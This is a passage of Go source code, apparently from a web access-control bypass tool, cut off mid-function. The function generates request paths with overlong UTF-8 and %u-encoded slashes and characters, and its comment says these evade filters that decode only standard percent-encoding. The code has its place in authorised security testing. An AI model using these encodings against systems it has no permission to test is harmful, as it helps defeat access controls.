requestUnicodeEncoding makes HTTP requests using Unicode/overlong UTF-8 encoded paths
(options RequestOptions)
| 2253 | |
| 2254 | // requestUnicodeEncoding makes HTTP requests using Unicode/overlong UTF-8 encoded paths |
| 2255 | func requestUnicodeEncoding(options RequestOptions) { |
| 2256 | parsedURL, err := url.Parse(options.uri) |
| 2257 | if err != nil { |
| 2258 | log.Println(err) |
| 2259 | return |
| 2260 | } |
| 2261 | |
| 2262 | originalPath := parsedURL.Path |
| 2263 | if len(originalPath) == 0 || originalPath == "/" { |
| 2264 | return |
| 2265 | } |
| 2266 | |
| 2267 | baseURL := parsedURL.Scheme + "://" + parsedURL.Host |
| 2268 | query := "" |
| 2269 | if parsedURL.RawQuery != "" { |
| 2270 | query = "?" + parsedURL.RawQuery |
| 2271 | } |
| 2272 | |
| 2273 | // Generate Unicode/overlong encoding variations for the path |
| 2274 | var payloads []string |
| 2275 | |
| 2276 | // Overlong UTF-8 slash: %c0%af (overlong encoding of /) |
| 2277 | // Unicode slash: %u002f |
| 2278 | // These bypass filters that only decode standard percent-encoding |
| 2279 | overlongReplacements := []struct { |
| 2280 | original string |
| 2281 | encoded string |
| 2282 | }{ |
| 2283 | {"/", "%c0%af"}, |
| 2284 | {"/", "%u002f"}, |
| 2285 | {"/", "%e0%80%af"}, |
| 2286 | {"/", "%f0%80%80%af"}, |
| 2287 | {"/", "%252f"}, |
| 2288 | } |
| 2289 | |
| 2290 | for _, r := range overlongReplacements { |
| 2291 | // Replace each slash in the path (except the leading one) with the encoded version |
| 2292 | // Only add if there are internal slashes to replace (otherwise it's a no-op duplicate) |
| 2293 | if len(originalPath) > 1 && strings.Contains(originalPath[1:], r.original) { |
| 2294 | modified := "/" + strings.ReplaceAll(originalPath[1:], r.original, r.encoded) |
| 2295 | payloads = append(payloads, baseURL+modified+query) |
| 2296 | } |
| 2297 | } |
| 2298 | |
| 2299 | // Also try encoding individual characters in the last path segment |
| 2300 | segments := strings.Split(strings.Trim(originalPath, "/"), "/") |
| 2301 | lastSegment := segments[len(segments)-1] |
| 2302 | basePath := "/" |
| 2303 | if len(segments) > 1 { |
| 2304 | basePath = "/" + strings.Join(segments[:len(segments)-1], "/") + "/" |
| 2305 | } |
| 2306 | |
| 2307 | for i, c := range lastSegment { |
| 2308 | // Unicode encoding: %uXXXX |
| 2309 | unicodeEncoded := fmt.Sprintf("%%u%04x", c) |
| 2310 | modified := basePath + lastSegment[:i] + unicodeEncoded + lastSegment[i+len(string(c)):] |
| 2311 | payloads = append(payloads, baseURL+modified+query) |
| 2312 |